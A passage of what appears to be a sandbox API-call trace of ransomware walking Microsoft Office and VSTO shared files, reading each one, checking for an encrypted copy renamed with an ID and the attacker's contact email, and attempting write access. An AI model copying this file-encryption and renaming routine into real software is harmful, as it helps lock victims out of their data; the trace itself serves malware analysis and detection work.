Files\\Microsoft Shared\\Visio Shared\\Fonts\\ICAD.FMP" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\icad.fmp")) returned 0x20 [0243.300] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\ICAD.FMP" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\icad.fmp")) returned 0x20 [0243.300] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\ICAD.FMP.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\icad.fmp.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0243.300] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\ICAD.FMP" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\icad.fmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.301] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGDTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whgdtxt.shx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0243.304] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=223699) returned 1 [0243.304] CloseHandle (hObject=0x1b0) returned 1 [0243.304] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGDTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whgdtxt.shx")) returned 0x20 [0243.304] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGDTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whgdtxt.shx")) returned 0x20 [0243.304] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGDTXT.SHX.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whgdtxt.shx.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0243.304] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGDTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whgdtxt.shx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.304] SetEvent (hEvent=0x118) returned 1 [0243.305] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whgtxt.shx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0243.308] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=196069) returned 1 [0243.308] CloseHandle (hObject=0x1b0) returned 1 [0243.308] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whgtxt.shx")) returned 0x20 [0243.309] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whgtxt.shx")) returned 0x20 [0243.309] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGTXT.SHX.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whgtxt.shx.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0243.309] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whgtxt.shx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.309] SetEvent (hEvent=0x118) returned 1 [0243.310] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTGTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whtgtxt.shx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0243.310] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=648211) returned 1 [0243.310] CloseHandle (hObject=0x1b0) returned 1 [0243.310] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTGTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whtgtxt.shx")) returned 0x20 [0243.310] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTGTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whtgtxt.shx")) returned 0x20 [0243.311] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTGTXT.SHX.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whtgtxt.shx.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0243.311] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTGTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whtgtxt.shx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.311] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTMTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whtmtxt.shx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0243.312] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=916632) returned 1 [0243.312] CloseHandle (hObject=0x1b0) returned 1 [0243.312] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTMTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whtmtxt.shx")) returned 0x20 [0243.312] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTMTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whtmtxt.shx")) returned 0x20 [0243.312] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTMTXT.SHX.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whtmtxt.shx.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0243.312] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTMTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whtmtxt.shx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.313] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoinstallerui.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0243.320] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=10080) returned 1 [0243.320] CloseHandle (hObject=0x1b0) returned 1 [0243.320] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoinstallerui.dll")) returned 0x20 [0243.320] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoinstallerui.dll")) returned 0x20 [0243.320] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoinstallerui.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0243.321] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoinstallerui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.321] SetEvent (hEvent=0x118) returned 1 [0243.322] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0243.324] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=18264) returned 1 [0243.324] CloseHandle (hObject=0x1b0) returned 1 [0243.324] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll")) returned 0x20 [0243.324] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll")) returned 0x20 [0243.324] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0243.324] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.325] SetEvent (hEvent=0x118) returned 1 [0243.325] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0243.328] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=716) returned 1 [0243.328] CloseHandle (hObject=0x1b0) returned 1 [0243.328] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config")) returned 0x20 [0243.328] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config")) returned 0x20 [0243.328] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0243.328] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.329] SetEvent (hEvent=0x118) returned 1 [0243.329] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0243.331] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=99672) returned 1 [0243.331] CloseHandle (hObject=0x1b0) returned 1 [0243.331] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe")) returned 0x20 [0243.331] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe")) returned 0x20 [0243.332] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.exe.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0243.332] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.334] SetEvent (hEvent=0x118) returned 1 [0243.334] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOLoader.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0243.337] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=387408) returned 1 [0243.337] CloseHandle (hObject=0x1b0) returned 1 [0243.337] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOLoader.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll")) returned 0x20 [0243.338] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOLoader.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll")) returned 0x20 [0243.338] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOLoader.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0243.338] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOLoader.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.342] SetEvent (hEvent=0x118) returned 1 [0243.342] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOMessageProvider.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0243.352] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=47976) returned 1 [0243.352] CloseHandle (hObject=0x1b0) returned 1 [0243.352] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOMessageProvider.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll")) returned 0x20 [0243.352] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOMessageProvider.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll")) returned 0x20 [0243.352] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOMessageProvider.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0243.352] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOMessageProvider.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.354] SetEvent (hEvent=0x118) returned 1 [0243.354] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0243.356] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=184648) returned 1 [0243.356] CloseHandle (hObject=0x1b0) returned 1 [0243.357] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee.dll")) returned 0x20 [0243.357] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee.dll")) returned 0x20 [0243.357] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0243.357] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.357] SetEvent (hEvent=0x118) returned 1 [0243.358] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee100.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0243.358] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=16208) returned 1 [0243.358] CloseHandle (hObject=0x1b0) returned 1 [0243.358] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee100.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb")) returned 0x20 [0243.359] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee100.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb")) returned 0x20 [0243.359] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee100.tlb.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0243.359] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee100.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.360] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee90.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0243.362] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=21840) returned 1 [0243.362] CloseHandle (hObject=0x1b0) returned 1 [0243.362] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee90.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb")) returned 0x20 [0243.363] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee90.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb")) returned 0x20 [0243.363] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee90.tlb.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0243.363] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee90.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.363] SetEvent (hEvent=0x118) returned 1 [0243.364] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\MSOSVINT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\web folders\\1033\\msosvint.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0243.366] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=10632) returned 1 [0243.366] CloseHandle (hObject=0x1b0) returned 1 [0243.366] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\MSOSVINT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\web folders\\1033\\msosvint.dll")) returned 0x20 [0243.367] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\MSOSVINT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\web folders\\1033\\msosvint.dll")) returned 0x20 [0243.367] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\MSOSVINT.DLL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\web folders\\1033\\msosvint.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0243.367] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\MSOSVINT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\web folders\\1033\\msosvint.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.367] SetEvent (hEvent=0x118) returned 1 [0243.368] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\MSOSV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\web folders\\msosv.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0243.369] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=44936) returned 1 [0243.369] CloseHandle (hObject=0x1b0) returned 1 [0243.369] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft 